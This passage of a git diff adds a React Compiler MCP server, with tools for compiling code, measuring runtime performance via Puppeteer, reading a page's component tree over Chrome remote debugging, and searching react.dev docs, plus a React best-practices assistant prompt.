+  This is a non-exhaustive list of bailouts where you should take specific actions:
+  - React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved: fix this by first removing the manual memo (useMemo/useCallback) and then try compiling again. use the review-react-runtime tool to verify that the compiled code can run without crashing. if it crashes, the original code likely breaks the Rules of React and so cannot be safely compiled.
+  </bailouts>
+  `,
+  {
+    text: z.string(),
+    passName: z.enum(['HIR', 'ReactiveFunction', 'All', '@DEBUG']).optional(),
+  },
+  async ({text, passName}) => {
+    const pipelinePasses = new Map<
+      string,
+      Array<PrintedCompilerPipelineValue>
+    >();
+    const recordPass: (
+      result: PrintedCompilerPipelineValue,
+    ) => void = result => {
+      const entry = pipelinePasses.get(result.name);
+      if (Array.isArray(entry)) {
+        entry.push(result);
+      } else {
+        pipelinePasses.set(result.name, [result]);
+      }
+    };
+    const logIR = (result: CompilerPipelineValue): void => {
+      switch (result.kind) {
+        case 'ast': {
+          break;
+        }
+        case 'hir': {
+          recordPass({
+            kind: 'hir',
+            fnName: result.value.id,
+            name: result.name,
+            value: printFunctionWithOutlined(result.value),
+          });
+          break;
+        }
+        case 'reactive': {
+          recordPass({
+            kind: 'reactive',
+            fnName: result.value.id,
+            name: result.name,
+            value: printReactiveFunctionWithOutlined(result.value),
+          });
+          break;
+        }
+        case 'debug': {
+          recordPass({
+            kind: 'debug',
+            fnName: null,
+            name: result.name,
+            value: result.value,
+          });
+          break;
+        }
+        default: {
+          assertExhaustive(result, `Unhandled result ${result}`);
+        }
+      }
+    };
+    const errors: Array<{message: string; loc: SourceLocation | null}> = [];
+    const compilerOptions: PluginOptions = {
+      panicThreshold: 'none',
+      logger: {
+        debugLogIRs: logIR,
+        logEvent: (_filename, event): void => {
+          if (event.kind === 'CompileError') {
+            const detail = event.detail;
+            const loc =
+              detail.loc == null || typeof detail.loc == 'symbol'
+                ? event.fnLoc
+                : detail.loc;
+            errors.push({
+              message: detail.reason,
+              loc,
+            });
+          }
+        },
+      },
+    };
+    try {
+      const result = await compile({
+        text,
+        file: 'anonymous.tsx',
+        options: compilerOptions,
+      });
+      if (result.code == null) {
+        return {
+          isError: true,
+          content: [{type: 'text' as const, text: 'Error: Could not compile'}],
+        };
+      }
+      const requestedPasses: Array<{type: 'text'; text: string}> = [];
+      if (passName != null) {
+        switch (passName) {
+          case 'All': {
+            const hir = pipelinePasses.get('PropagateScopeDependenciesHIR');
+            if (hir !== undefined) {
+              for (const pipelineValue of hir) {
+                requestedPasses.push({
+                  type: 'text' as const,
+                  text: pipelineValue.value,
+                });
+              }
+            }
+            const reactiveFunc = pipelinePasses.get('PruneHoistedContexts');
+            if (reactiveFunc !== undefined) {
+              for (const pipelineValue of reactiveFunc) {
+                requestedPasses.push({
+                  type: 'text' as const,
+                  text: pipelineValue.value,
+                });
+              }
+            }
+            break;
+          }
+          case 'HIR': {
+            // Last pass before HIR -> ReactiveFunction
+            const requestedPass = pipelinePasses.get(
+              'PropagateScopeDependenciesHIR',
+            );
+            if (requestedPass !== undefined) {
+              for (const pipelineValue of requestedPass) {
+                requestedPasses.push({
+                  type: 'text' as const,
+                  text: pipelineValue.value,
+                });
+              }
+            } else {
+              console.error(`Could not find requested pass ${passName}`);
+            }
+            break;
+          }
+          case 'ReactiveFunction': {
+            // Last pass
+            const requestedPass = pipelinePasses.get('PruneHoistedContexts');
+            if (requestedPass !== undefined) {
+              for (const pipelineValue of requestedPass) {
+                requestedPasses.push({
+                  type: 'text' as const,
+                  text: pipelineValue.value,
+                });
+              }
+            } else {
+              console.error(`Could not find requested pass ${passName}`);
+            }
+            break;
+          }
+          case '@DEBUG': {
+            for (const [, pipelinePass] of pipelinePasses) {
+              for (const pass of pipelinePass) {
+                requestedPasses.push({
+                  type: 'text' as const,
+                  text: `${pass.name}\n\n${pass.value}`,
+                });
+              }
+            }
+            break;
+          }
+          default: {
+            assertExhaustive(
+              passName,
+              `Unhandled passName option: ${passName}`,
+            );
+          }
+        }
+        const requestedPass = pipelinePasses.get(passName);
+        if (requestedPass !== undefined) {
+          for (const pipelineValue of requestedPass) {
+            if (pipelineValue.name === passName) {
+              requestedPasses.push({
+                type: 'text' as const,
+                text: pipelineValue.value,
+              });
+            }
+          }
+        }
+      }
+      if (errors.length > 0) {
+        return {
+          content: errors.map(err => {
+            return {
+              type: 'text' as const,
+              text:
+                err.loc === null || typeof err.loc === 'symbol'
+                  ? `React Compiler bailed out:\n\n${err.message}`
+                  : `React Compiler bailed out:\n\n${err.message}@${err.loc.start.line}:${err.loc.end.line}`,
+            };
+          }),
+        };
+      }
+      return {
+        content: [
+          {type: 'text' as const, text: result.code},
+          ...requestedPasses,
+        ],
+      };
+    } catch (err) {
+      return {
+        isError: true,
+        content: [{type: 'text' as const, text: `Error: ${err.stack}`}],
+      };
+    }
+  },
+);
+
+server.tool(
+  'review-react-runtime',
+  `Run this tool every time you propose a performance related change to verify if your suggestion actually improves performance.
+
+  <requirements>
+  This tool has some requirements on the code input:
+  - The react code that is passed into this tool MUST contain an App functional component without arrow function.
+  - DO NOT export anything since we can't parse export syntax with this tool.
+  - Only import React from 'react' and use all hooks and imports using the React. prefix like React.useState and React.useEffect
+  </requirements>
+
+  <goals>
+  - LCP - loading speed: good ≤ 2.5 s, needs-improvement 2.5-4 s, poor > 4 s
+  - INP - input responsiveness: good ≤ 200 ms, needs-improvement 200-500 ms, poor > 500 ms
+  - CLS - visual stability: good ≤ 0.10, needs-improvement 0.10-0.25, poor > 0.25
+  - (Optional: FCP ≤ 1.8 s, TTFB ≤ 0.8 s)
+  </goals>
+
+  <evaluation>
+  Classify each metric with the thresholds above. Identify the worst category in the order poor > needs-improvement > good.
+  </evaluation>
+
+  <iterate>
+  (repeat until every metric is good or two consecutive cycles show no gain)
+  - Always run the tool once on the original code before any modification
+  - Run the tool again after making the modification, and apply one focused change based on the failing metric plus React-specific guidance:
+    - LCP: lazy-load off-screen images, inline critical CSS, preconnect, use React.lazy + Suspense for below-the-fold modules. if the user requests for it, use React Server Components for static content (Server Components).
+    - INP: wrap non-critical updates in useTransition, avoid calling setState inside useEffect.
+    - CLS: reserve space via explicit width/height or aspect-ratio, keep stable list keys, use fixed-size skeleton loaders, animate only transform/opacity, avoid inserting ads or banners without placeholders.
+  - Compare the results of your modified code compared to the original to verify that your changes have improved performance.
+  </iterate>
+  `,
+  {
+    text: z.string(),
+    iterations: z.number().optional().default(2),
+  },
+  async ({text, iterations}) => {
+    try {
+      const results = await measurePerformance(text, iterations);
+      const formattedResults = `
+# React Component Performance Results
+
+## Mean Render Time
+${calculateMean(results.renderTime)}
+
+## Mean Web Vitals
+- Cumulative Layout Shift (CLS): ${calculateMean(results.webVitals.cls)}
+- Largest Contentful Paint (LCP): ${calculateMean(results.webVitals.lcp)}
+- Interaction to Next Paint (INP): ${calculateMean(results.webVitals.inp)}
+
+## Mean React Profiler
+- Actual Duration: ${calculateMean(results.reactProfiler.actualDuration)}
+- Base Duration: ${calculateMean(results.reactProfiler.baseDuration)}
+`;
+
+      return {
+        content: [
+          {
+            type: 'text' as const,
+            text: formattedResults,
+          },
+        ],
+      };
+    } catch (error) {
+      return {
+        isError: true,
+        content: [
+          {
+            type: 'text' as const,
+            text: `Error measuring performance: ${error.message}\n\n${error.stack}`,
+          },
+        ],
+      };
+    }
+  },
+);
+
+server.tool(
+  'parse-react-component-tree',
+  `
+  This tool gets the component tree of a React App.
+  passing in a url will attempt to connect to the browser and get the current state of the component tree. If no url is passed in,
+  the default url will be used (http://localhost:3000).
+
+  <requirements>
+  - The url should be a full url with the protocol (http:// or https://) and the domain name (e.g. localhost:3000).
+  - Also the user should be running a Chrome browser running on debug mode on port 9222. If you receive an error message, advise the user to run
+  the following comand in the terminal:
+  MacOS: "/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --user-data-dir=/tmp/chrome"
+  Windows: "chrome.exe --remote-debugging-port=9222 --user-data-dir=C:\temp\chrome"
+  </requirements>
+  `,
+  {
+    url: z.string().optional().default('http://localhost:3000'),
+  },
+  async ({url}) => {
+    try {
+      const componentTree = await parseReactComponentTree(url);
+
+      return {
+        content: [
+          {
+            type: 'text' as const,
+            text: componentTree,
+          },
+        ],
+      };
+    } catch (err) {
+      return {
+        isError: true,
+        content: [{type: 'text' as const, text: `Error: ${err.stack}`}],
+      };
+    }
+  },
+);
+
+server.prompt('review-react-code', () => ({
+  messages: [
+    {
+      role: 'assistant',
+      content: {
+        type: 'text',
+        text: `
+## Role
+You are a React assistant that helps users write more efficient and optimizable React code. You specialize in identifying patterns that enable React Compiler to automatically apply optimizations, reducing unnecessary re-renders and improving application performance.
+
+## Follow these guidelines in all code you produce and suggest
+Use functional components with Hooks: Do not generate class components or use old lifecycle methods. Manage state with useState or useReducer, and side effects with useEffect (or related Hooks). Always prefer functions and Hooks for any new component logic.
+
+Keep components pure and side-effect-free during rendering: Do not produce code that performs side effects (like subscriptions, network requests, or modifying external variables) directly inside the component's function body. Such actions should be wrapped in useEffect or performed in event handlers. Ensure your render logic is a pure function of props and state.
+
+Respect one-way data flow: Pass data down through props and avoid any global mutations. If two components need to share data, lift that state up to a common parent or use React Context, rather than trying to sync local state or use external variables.
+
+Never mutate state directly: Always generate code that updates state immutably. For example, use spread syntax or other methods to create new objects/arrays when updating state. Do not use assignments like state.someValue = ... or array mutations like array.push() on state variables. Use the state setter (setState from useState, etc.) to update state.
+
+Accurately use useEffect and other effect Hooks: whenever you think you could useEffect, think and reason harder to avoid it. useEffect is primarily only used for synchronization, for example synchronizing React with some external state. IMPORTANT - Don't setState (the 2nd value returned by useState) within a useEffect as that will degrade performance. When writing effects, include all necessary dependencies in the dependency array. Do not suppress ESLint rules or omit dependencies that the effect's code uses. Structure the effect callbacks to handle changing values properly (e.g., update subscriptions on prop changes, clean up on unmount or dependency change). If a piece of logic should only run in response to a user action (like a form submission or button click), put that logic in an event handler, not in a useEffect. Where possible, useEffects should return a cleanup function.
+
+Follow the Rules of Hooks: Ensure that any Hooks (useState, useEffect, useContext, custom Hooks, etc.) are called unconditionally at the top level of React function components or other Hooks. Do not generate code that calls Hooks inside loops, conditional statements, or nested helper functions. Do not call Hooks in non-component functions or outside the React component rendering context.
+
+Use refs only when necessary: Avoid using useRef unless the task genuinely requires it (such as focusing a control, managing an animation, or integrating with a non-React library). Do not use refs to store application state that should be reactive. If you do use refs, never write to or read from ref.current during the rendering of a component (except for initial setup like lazy initialization). Any ref usage should not affect the rendered output directly.
+
+Prefer composition and small components: Break down UI into small, reusable components rather than writing large monolithic components. The code you generate should promote clarity and reusability by composing components together. Similarly, abstract repetitive logic into custom Hooks when appropriate to avoid duplicating code.
+
+Optimize for concurrency: Assume React may render your components multiple times for scheduling purposes (especially in development with Strict Mode). Write code that remains correct even if the component function runs more than once. For instance, avoid side effects in the component body and use functional state updates (e.g., setCount(c => c + 1)) when updating state based on previous state to prevent race conditions. Always include cleanup functions in effects that subscribe to external resources. Don't write useEffects for "do this when this changes" side-effects. This ensures your generated code will work with React's concurrent rendering features without issues.
+
+Optimize to reduce network waterfalls - Use parallel data fetching wherever possible (e.g., start multiple requests at once rather than one after another). Leverage Suspense for data loading and keep requests co-located with the component that needs the data. In a server-centric approach, fetch related data together in a single request on the server side (using Server Components, for example) to reduce round trips. Also, consider using caching layers or global fetch management to avoid repeating identical requests.
+
+Rely on React Compiler - useMemo, useCallback, and React.memo can be omitted if React Compiler is enabled. Avoid premature optimization with manual memoization. Instead, focus on writing clear, simple components with direct data flow and side-effect-free render functions. Let the React Compiler handle tree-shaking, inlining, and other performance enhancements to keep your code base simpler and more maintainable.
+
+Design for a good user experience - Provide clear, minimal, and non-blocking UI states. When data is loading, show lightweight placeholders (e.g., skeleton screens) rather than intrusive spinners everywhere. Handle errors gracefully with a dedicated error boundary or a friendly inline message. Where possible, render partial data as it becomes available rather than making the user wait for everything. Suspense allows you to declare the loading states in your component tree in a natural way, preventing “flash” states and improving perceived performance.
+
+Server Components - Shift data-heavy logic to the server whenever possible. Break up the more static parts of the app into server components. Break up data fetching into server components. Only client components (denoted by the 'use client' top level directive) need interactivity. By rendering parts of your UI on the server, you reduce the client-side JavaScript needed and avoid sending unnecessary data over the wire. Use Server Components to prefetch and pre-render data, allowing faster initial loads and smaller bundle sizes. This also helps manage or eliminate certain waterfalls by resolving data on the server before streaming the HTML (and partial React tree) to the client.
+
+## Available Tools
+- 'docs': Look up documentation from react.dev. Returns text as a string.
+- 'compile': Run the user's code through React Compiler. Returns optimized JS/TS code with potential diagnostics.
+
+## Process
+1. Analyze the user's code for optimization opportunities:
+   - Check for React anti-patterns that prevent compiler optimization
+   - Identify unnecessary manual optimizations (useMemo, useCallback, React.memo) that the compiler can handle
+   - Look for component structure issues that limit compiler effectiveness
+   - Think about each suggestion you are making and consult React docs using the docs://{query} resource for best practices
+
+2. Use React Compiler to verify optimization potential:
+   - Run the code through the compiler and analyze the output
+   - You can run the compiler multiple times to verify your work
+   - Check for successful optimization by looking for const $ = _c(n) cache entries, where n is an integer
+   - Identify bailout messages that indicate where code could be improved
+   - Compare before/after optimization potential
+
+3. Provide actionable guidance:
+   - Explain specific code changes with clear reasoning
+   - Show before/after examples when suggesting changes
+   - Include compiler results to demonstrate the impact of optimizations
+   - Only suggest changes that meaningfully improve optimization potential
+
+## Optimization Guidelines
+- Avoid mutation of values that are memoized by the compiler
+- State updates should be structured to enable granular updates
+- Side effects should be isolated and dependencies clearly defined
+- The compiler automatically inserts memoization, so manually added useMemo/useCallback/React.memo can often be removed
+
+## Understanding Compiler Output
+- Successful optimization adds import { c as _c } from "react/compiler-runtime";
+- Successful optimization initializes a constant sized cache with const $ = _c(n), where n is the size of the cache as an integer
+- When suggesting changes, try to increase or decrease the number of cached expressions (visible in const $ = _c(n))
+  - Increase: more memoization coverage
+  - Decrease: if there are unnecessary dependencies, less dependencies mean less re-rendering
+`,
+      },
+    },
+  ],
+}));
+
+async function main() {
+  const transport = new StdioServerTransport();
+  await server.connect(transport);
+  console.error('React Compiler MCP Server running on stdio');
+}
+
+main().catch(error => {
+  console.error('Fatal error in main():', error);
+  process.exit(1);
+});
diff --git a/compiler/packages/react-mcp-server/src/tools/componentTree.ts b/compiler/packages/react-mcp-server/src/tools/componentTree.ts
new file mode 100644
index 000000000000..a124066a9424
--- /dev/null
+++ b/compiler/packages/react-mcp-server/src/tools/componentTree.ts
@@ -0,0 +1,38 @@
+import puppeteer from 'puppeteer';
+
+export async function parseReactComponentTree(url: string): Promise<string> {
+  try {
+    const browser = await puppeteer.connect({
+      browserURL: 'http://127.0.0.1:9222',
+      defaultViewport: null,
+    });
+
+    const pages = await browser.pages();
+
+    let localhostPage = null;
+    for (const page of pages) {
+      const pageUrl = await page.url();
+
+      if (pageUrl.startsWith(url)) {
+        localhostPage = page;
+        break;
+      }
+    }
+
+    if (localhostPage) {
+      const componentTree = await localhostPage.evaluate(() => {
+        return (window as any).__REACT_DEVTOOLS_GLOBAL_HOOK__.rendererInterfaces
+          .get(1)
+          .__internal_only_getComponentTree();
+      });
+
+      return componentTree;
+    } else {
+      throw new Error(
+        `Could not open the page at ${url}. Is your server running?`,
+      );
+    }
+  } catch (error) {
+    throw new Error('Failed extract component tree' + error);
+  }
+}
diff --git a/compiler/packages/react-mcp-server/src/tools/runtimePerf.ts b/compiler/packages/react-mcp-server/src/tools/runtimePerf.ts
new file mode 100644
index 000000000000..30badc833d68
--- /dev/null
+++ b/compiler/packages/react-mcp-server/src/tools/runtimePerf.ts
@@ -0,0 +1,285 @@
+import * as babel from '@babel/core';
+import puppeteer from 'puppeteer';
+// @ts-ignore
+import * as babelPresetTypescript from '@babel/preset-typescript';
+// @ts-ignore
+import * as babelPresetEnv from '@babel/preset-env';
+// @ts-ignore
+import * as babelPresetReact from '@babel/preset-react';
+
+type PerformanceResults = {
+  renderTime: number[];
+  webVitals: {
+    cls: number[];
+    lcp: number[];
+    inp: number[];
+    fid: number[];
+    ttfb: number[];
+  };
+  reactProfiler: {
+    id: number[];
+    phase: number[];
+    actualDuration: number[];
+    baseDuration: number[];
+    startTime: number[];
+    commitTime: number[];
+  };
+  error: Error | null;
+};
+
+type EvaluationResults = {
+  renderTime: number | null;
+  webVitals: {
+    cls: number | null;
+    lcp: number | null;
+    inp: number | null;
+    fid: number | null;
+    ttfb: number | null;
+  };
+  reactProfiler: {
+    id: number | null;
+    phase: number | null;
+    actualDuration: number | null;
+    baseDuration: number | null;
+    startTime: number | null;
+    commitTime: number | null;
+  };
+  error: Error | null;
+};
+
+function delay(time: number) {
+  return new Promise(function (resolve) {
+    setTimeout(resolve, time);
+  });
+}
+
+export async function measurePerformance(
+  code: string,
+  iterations: number,
+): Promise<PerformanceResults> {
+  const babelOptions: babel.TransformOptions = {
+    filename: 'anonymous.tsx',
+    configFile: false,
+    babelrc: false,
+    presets: [babelPresetTypescript, babelPresetEnv, babelPresetReact],
+  };
+
+  const parsed = await babel.parseAsync(code, babelOptions);
+  if (!parsed) {
+    throw new Error('Failed to parse code');
+  }
+
+  const transformResult = await babel.transformFromAstAsync(parsed, undefined, {
+    ...babelOptions,
+    plugins: [
+      () => ({
+        visitor: {
+          ImportDeclaration(
+            path: babel.NodePath<babel.types.ImportDeclaration>,
+          ) {
+            const value = path.node.source.value;
+            if (value === 'react' || value === 'react-dom') {
+              path.remove();
+            }
+          },
+        },
+      }),
+    ],
+  });
+
+  const transpiled = transformResult?.code || undefined;
+  if (!transpiled) {
+    throw new Error('Failed to transpile code');
+  }
+
+  const browser = await puppeteer.launch();
+  const page = await browser.newPage();
+  await page.setViewport({width: 1280, height: 720});
+  const html = buildHtml(transpiled);
+
+  let performanceResults: PerformanceResults = {
+    renderTime: [],
+    webVitals: {
+      cls: [],
+      lcp: [],
+      inp: [],
+      fid: [],
+      ttfb: [],
+    },
+    reactProfiler: {
+      id: [],
+      phase: [],
+      actualDuration: [],
+      baseDuration: [],
+      startTime: [],
+      commitTime: [],
+    },
+    error: null,
+  };
+
+  for (let ii = 0; ii < iterations; ii++) {
+    await page.setContent(html, {waitUntil: 'networkidle0'});
+    await page.waitForFunction(
+      'window.__RESULT__ !== undefined && (window.__RESULT__.renderTime !== null || window.__RESULT__.error !== null)',
+    );
+
+    // ui chaos monkey
+    const selectors = await page.evaluate(() => {
+      window.__INTERACTABLE_SELECTORS__ = [];
+      const elements = Array.from(document.querySelectorAll('a')).concat(
+        Array.from(document.querySelectorAll('button')),
+      );
+      for (const el of elements) {
+        window.__INTERACTABLE_SELECTORS__.push(el.tagName.toLowerCase());
+      }
+      return window.__INTERACTABLE_SELECTORS__;
+    });
+
+    await Promise.all(
+      selectors.map(async (selector: string) => {
+        try {
+          await page.click(selector);
+        } catch (e) {
+          console.log(`warning: Could not click ${selector}: ${e.message}`);
+        }
+      }),
+    );
+    await delay(500);
+
+    // Visit a new page for 1s to background the current page so that WebVitals can finish being calculated
+    const tempPage = await browser.newPage();
+    await tempPage.evaluate(() => {
+      return new Promise(resolve => {
+        setTimeout(() => {
+          resolve(true);
+        }, 1000);
+      });
+    });
+    await tempPage.close();
+
+    const evaluationResult: EvaluationResults = await page.evaluate(() => {
+      return (window as any).__RESULT__;
+    });
+
+    if (evaluationResult.renderTime !== null) {
+      performanceResults.renderTime.push(evaluationResult.renderTime);
+    }
+
+    const webVitalMetrics = ['cls', 'lcp', 'inp', 'fid', 'ttfb'] as const;
+    for (const metric of webVitalMetrics) {
+      if (evaluationResult.webVitals[metric] !== null) {
+        performanceResults.webVitals[metric].push(
+          evaluationResult.webVitals[metric],
+        );
+      }
+    }
+
+    const profilerMetrics = [
+      'id',
+      'phase',
+      'actualDuration',
+      'baseDuration',
+      'startTime',
+      'commitTime',
+    ] as const;
+    for (const metric of profilerMetrics) {
+      if (evaluationResult.reactProfiler[metric] !== null) {
+        performanceResults.reactProfiler[metric].push(
+          evaluationResult.reactProfiler[metric],
+        );
+      }
+    }
+
+    performanceResults.error = evaluationResult.error;
+  }
+
+  await browser.close();
+
+  return performanceResults;
+}
+
+function buildHtml(transpiled: string) {
+  const html = `
+<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="UTF-8">
+  <title>React Performance Test</title>
+  <script crossorigin src="https://unpkg.com/react@18/umd/react.development.js"></script>
+  <script crossorigin src="https://unpkg.com/react-dom@18/umd/react-dom.development.js"></script>
+  <script src="https://unpkg.com/web-vitals@3.0.0/dist/web-vitals.iife.js"></script>
+  <style>
+    body { margin: 0; }
+    #root { padding: 20px; }
+  </style>
+</head>
+<body>
+  <div id="root"></div>
+  <script>
+    window.__RESULT__ = {
+      renderTime: null,
+      webVitals: {},
+      reactProfiler: {},
+      error: null,
+    };
+
+    webVitals.onCLS(({value}) => { window.__RESULT__.webVitals.cls = value; });
+    webVitals.onLCP(({value}) => { window.__RESULT__.webVitals.lcp = value; });
+    webVitals.onINP(({value}) => { window.__RESULT__.webVitals.inp = value; });
+    webVitals.onFID(({value}) => { window.__RESULT__.webVitals.fid = value; });
+    webVitals.onTTFB(({value}) => { window.__RESULT__.webVitals.ttfb = value; });
+
+    try {
+      ${transpiled}
+
+      window.App = App;
+
+      // Render the component to the DOM with profiling
+      const AppComponent = window.App || (() => React.createElement('div', null, 'No App component exported'));
+
+      const root = ReactDOM.createRoot(document.getElementById('root'), {
+        onUncaughtError: (error, errorInfo) => {
+          window.__RESULT__.error = error;
+        }
+      });
+
+      const renderStart = performance.now()
+
+      root.render(
+        React.createElement(React.Profiler, {
+          id: 'App',
+          onRender: (id, phase, actualDuration, baseDuration, startTime, commitTime) => {
+            window.__RESULT__.reactProfiler.id = id;
+            window.__RESULT__.reactProfiler.phase = phase;
+            window.__RESULT__.reactProfiler.actualDuration = actualDuration;
+            window.__RESULT__.reactProfiler.baseDuration = baseDuration;
+            window.__RESULT__.reactProfiler.startTime = startTime;
+            window.__RESULT__.reactProfiler.commitTime = commitTime;
+          }
+        }, React.createElement(AppComponent))
+      );
+
+      const renderEnd = performance.now();
+
+      window.__RESULT__.renderTime = renderEnd - renderStart;
+    } catch (error) {
+      console.error('Error rendering component:', error);
+      window.__RESULT__.error = error;
+    }
+  </script>
+  <script>
+    window.onerror = function(message, url, lineNumber) {
+      const formattedMessage = message + '@' + lineNumber;
+      if (window.__RESULT__.error && window.__RESULT__.error.message != null) {
+        window.__RESULT__.error = window.__RESULT__.error + '\n\n' + formattedMessage;
+      } else {
+        window.__RESULT__.error = message + formattedMessage;
+      }
+    };
+  </script>
+</body>
+</html>
+`;
+
+  return html;
+}
diff --git a/compiler/packages/react-mcp-server/src/types/algolia.ts b/compiler/packages/react-mcp-server/src/types/algolia.ts
new file mode 100644
index 000000000000..1921dd3f718f
--- /dev/null
+++ b/compiler/packages/react-mcp-server/src/types/algolia.ts
@@ -0,0 +1,100 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+// https://github.com/algolia/docsearch/blob/15ebcba606b281aa0dddc4ccb8feb19d396bf79e/packages/docsearch-react/src/types/DocSearchHit.ts
+type ContentType =
+  | 'content'
+  | 'lvl0'
+  | 'lvl1'
+  | 'lvl2'
+  | 'lvl3'
+  | 'lvl4'
+  | 'lvl5'
+  | 'lvl6';
+
+interface DocSearchHitAttributeHighlightResult {
+  value: string;
+  matchLevel: 'full' | 'none' | 'partial';
+  matchedWords: string[];
+  fullyHighlighted?: boolean;
+}
+
+interface DocSearchHitHighlightResultHierarchy {
+  lvl0: DocSearchHitAttributeHighlightResult;
+  lvl1: DocSearchHitAttributeHighlightResult;
+  lvl2: DocSearchHitAttributeHighlightResult;
+  lvl3: DocSearchHitAttributeHighlightResult;
+  lvl4: DocSearchHitAttributeHighlightResult;
+  lvl5: DocSearchHitAttributeHighlightResult;
+  lvl6: DocSearchHitAttributeHighlightResult;
+}
+
+interface DocSearchHitHighlightResult {
+  content: DocSearchHitAttributeHighlightResult;
+  hierarchy: DocSearchHitHighlightResultHierarchy;
+  hierarchy_camel: DocSearchHitHighlightResultHierarchy[];
+}
+
+interface DocSearchHitAttributeSnippetResult {
+  value: string;
+  matchLevel: 'full' | 'none' | 'partial';
+}
+
+interface DocSearchHitSnippetResult {
+  content: DocSearchHitAttributeSnippetResult;
+  hierarchy: DocSearchHitHighlightResultHierarchy;
+  hierarchy_camel: DocSearchHitHighlightResultHierarchy[];
+}
+
+export declare type DocSearchHit = {
+  objectID: string;
+  content: string | null;
+  url: string;
+  url_without_anchor: string;
+  type: ContentType;
+  anchor: string | null;
+  hierarchy: {
+    lvl0: string;
+    lvl1: string;
+    lvl2: string | null;
+    lvl3: string | null;
+    lvl4: string | null;
+    lvl5: string | null;
+    lvl6: string | null;
+  };
+  _highlightResult: DocSearchHitHighlightResult;
+  _snippetResult: DocSearchHitSnippetResult;
+  _rankingInfo?: {
+    promoted: boolean;
+    nbTypos: number;
+    firstMatchedWord: number;
+    proximityDistance?: number;
+    geoDistance: number;
+    geoPrecision?: number;
+    nbExactWords: number;
+    words: number;
+    filters: number;
+    userScore: number;
+    matchedGeoLocation?: {
+      lat: number;
+      lng: number;
+      distance: number;
+    };
+  };
+  _distinctSeqID?: number;
+  __autocomplete_indexName?: string;
+  __autocomplete_queryID?: string;
+  __autocomplete_algoliaCredentials?: {
+    appId: string;
+    apiKey: string;
+  };
+  __autocomplete_id?: number;
+};
+
+export type InternalDocSearchHit = DocSearchHit & {
+  __docsearch_parent: InternalDocSearchHit | null;
+};
diff --git a/compiler/packages/react-mcp-server/src/utils/algolia.ts b/compiler/packages/react-mcp-server/src/utils/algolia.ts
new file mode 100644
index 000000000000..cfc08022db94
--- /dev/null
+++ b/compiler/packages/react-mcp-server/src/utils/algolia.ts
@@ -0,0 +1,119 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import type {DocSearchHit, InternalDocSearchHit} from '../types/algolia';
+import {liteClient, type Hit, type SearchResponse} from 'algoliasearch/lite';
+
+// https://github.com/reactjs/react.dev/blob/55986965fbf69c2584040039c9586a01bd54eba7/src/siteConfig.js#L15-L19
+const ALGOLIA_CONFIG = {
+  appId: '1FCF9AYYAT',
+  apiKey: '1b7ad4e1c89e645e351e59d40544eda1',
+  indexName: 'beta-react',
+};
+
+export const ALGOLIA_CLIENT = liteClient(
+  ALGOLIA_CONFIG.appId,
+  ALGOLIA_CONFIG.apiKey,
+);
+
+export function printHierarchy(
+  hit: DocSearchHit | InternalDocSearchHit,
+): string {
+  let val = `${hit.hierarchy.lvl0} > ${hit.hierarchy.lvl1}`;
+  if (hit.hierarchy.lvl2 != null) {
+    val = val.concat(` > ${hit.hierarchy.lvl2}`);
+  }
+  if (hit.hierarchy.lvl3 != null) {
+    val = val.concat(` > ${hit.hierarchy.lvl3}`);
+  }
+  if (hit.hierarchy.lvl4 != null) {
+    val = val.concat(` > ${hit.hierarchy.lvl4}`);
+  }
+  if (hit.hierarchy.lvl5 != null) {
+    val = val.concat(` > ${hit.hierarchy.lvl5}`);
+  }
+  if (hit.hierarchy.lvl6 != null) {
+    val = val.concat(` > ${hit.hierarchy.lvl6}`);
+  }
+  return val;
+}
+
+export async function queryAlgolia(
+  message: string | Array<string>,
+): Promise<Array<string>> {
+  const {results} = await ALGOLIA_CLIENT.search<DocSearchHit>({
+    requests: [
+      {
+        query: Array.isArray(message) ? message.join('\n') : message,
+        indexName: ALGOLIA_CONFIG.indexName,
+        attributesToRetrieve: [
+          'hierarchy.lvl0',
+          'hierarchy.lvl1',
+          'hierarchy.lvl2',
+          'hierarchy.lvl3',
+          'hierarchy.lvl4',
+          'hierarchy.lvl5',
+          'hierarchy.lvl6',
+          'content',
+          'url',
+        ],
+        attributesToSnippet: [
+          `hierarchy.lvl1:10`,
+          `hierarchy.lvl2:10`,
+          `hierarchy.lvl3:10`,
+          `hierarchy.lvl4:10`,
+          `hierarchy.lvl5:10`,
+          `hierarchy.lvl6:10`,
+          `content:10`,
+        ],
+        snippetEllipsisText: '…',
+        hitsPerPage: 30,
+        attributesToHighlight: [
+          'hierarchy.lvl0',
+          'hierarchy.lvl1',
+          'hierarchy.lvl2',
+          'hierarchy.lvl3',
+          'hierarchy.lvl4',
+          'hierarchy.lvl5',
+          'hierarchy.lvl6',
+          'content',
+        ],
+      },
+    ],
+  });
+  const firstResult = results[0] as SearchResponse<DocSearchHit>;
+  const {hits} = firstResult;
+  const deduped = new Map();
+  for (const hit of hits) {
+    // drop hashes to dedupe properly
+    const u = new URL(hit.url);
+    if (deduped.has(u.pathname)) {
+      continue;
+    }
+    deduped.set(u.pathname, hit);
+  }
+  const pages: Array<string | null> = await Promise.all(
+    Array.from(deduped.values()).map(hit => {
+      return fetch(hit.url, {
+        headers: {
+          'User-Agent':
+            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
+        },
+      }).then(res => {
+        if (res.ok === true) {
+          return res.text();
+        } else {
+          console.error(
+            `Could not fetch docs: ${res.status} ${res.statusText}`,
+          );
+          return null;
+        }
+      });
+    }),
+  );
+  return pages.filter(page => page !== null);
+}
diff --git a/compiler/packages/react-mcp-server/src/utils/assertExhaustive.ts b/compiler/packages/react-mcp-server/src/utils/assertExhaustive.ts
new file mode 100644
index 000000000000..2adfffa8d7ea
--- /dev/null
+++ b/compiler/packages/react-mcp-server/src/utils/assertExhaustive.ts
@@ -0,0 +1,13 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+/**
